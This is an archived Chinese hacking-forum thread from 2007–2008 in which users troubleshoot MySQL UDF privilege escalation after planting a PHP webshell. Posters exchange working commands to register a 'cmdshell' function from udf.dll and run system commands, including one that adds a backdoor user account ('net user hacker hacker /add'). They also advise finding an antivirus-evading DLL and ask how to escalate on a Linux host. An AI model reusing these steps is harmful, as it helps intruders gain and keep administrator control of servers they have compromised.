邪恶八进制信息安全团队技术讨论组's Archiver

啊坏 2007-7-25 13:56

[讨论]langouster的mysql提权马问题!

langouster的那个提权的PHP马 我第一次提权成功了 在系统上加了用户


后来因为丢了权限 就回去重新加,但原来的udf.dll文件存在了`好像不能被覆盖了。

我用Create Function cmdshell returns string soname "udf.dll"

提示:Function 'cmdshell' already exist 功能cmdshell存在? 但我进数据库已经把那个表删除了的


啊!!!既然存在,那我就去执行 select cmdshell('net user')

但不成功提示:You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '('net user')' at line 1

大虾门看看怎么回事```

pub!1c 2007-7-26 01:59

SQL语法错误

第四维 2007-8-18 20:13

select cmdshell('net user')
  有这样的SQL语句 select可以这样用吗?

优格 2007-8-18 21:04

后面应该还要个[color=#FF0000];[/color]

jackchenlei 2007-8-19 21:05

删除存储过程cmdshell再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll';

jackchenlei 2007-8-19 21:07

[quote]引用第4楼jackchenlei于2007-08-19 21:05发表的 :[/quote]
可能因为你上次提权后没有删除功能函数
删除功能函数cmdshell后再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll';

fatcat 2007-8-22 18:56

我也遇到了,奇怪的错误! 怀疑dll被查杀了
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'udf.dll';的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 )

laidogdog 2007-9-17 03:58

被杀了。

paradise12 2007-12-6 04:46

用UDF提权时开始倒入时无法显示该业然后就是错误:创建临时表Temp_Tab出错。Table 'temp_tab' already exists删除后再来还是一样的情况 请问有什么好的办法吗? ROOT权限... [s:269] 大象大象~~~~

icedoing 2007-12-6 12:23

语法问题

paradise12 2007-12-6 13:26

请楼上高人说详细点好不...

paradise12 2007-12-6 13:28

可以的话加我Q292415227谢谢

咖啡爱可可 2007-12-11 22:40

````LINUX哪位提权会的啊
uname -r 2.4.21-27.ELsmp
有目录浏览权限 怎么提权哪位知道告知下

装了MYSQL (有root密码)
    Zend
    PHP 4.4.2
    Apache 2.0 Handler
开放SSH

cser 2007-12-13 23:25

;
楼主的sql语句最后没有加 ; 这个,显示的是不完整的sql语句。
select cmdshell('net user hacker hacker /add');
这样的没问题。

不止牛嘿 2008-3-9 23:24

cmdshell('net user')       

Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast
       
-----------------------------------

执行cmdshell的时候遇到这个.不知道什么原因..

greyair 2008-3-10 13:31

楼上的Shell无法启动是cmd被删或者system的使用权限被删。

wudi123 2008-5-22 15:15

cmdshell('net user')        

Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast

我也遇到这问题:mad: ,有没有解决办法呢?请教.:loveliness:

pwangeng 2008-7-15 10:17

导出到c:\windows\udf.dll 成功

执行create function cmdshell returns string soname 'udf.dll' 出错

数据库查讯出错,请检查SQL语句create function cmdshell returns string soname 'udf.dll'的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 )

这是什么原因?

pwangeng 2008-7-15 11:05

如果是udf.dll被查杀,那该怎么办?

yumiko 2008-7-19 00:57

寻找免杀的UDF.DLL

zm94 2008-7-19 01:43

看不懂啊! 只怪咱不懂!

页: [1]
© 1999-2008 EvilOctal Security Team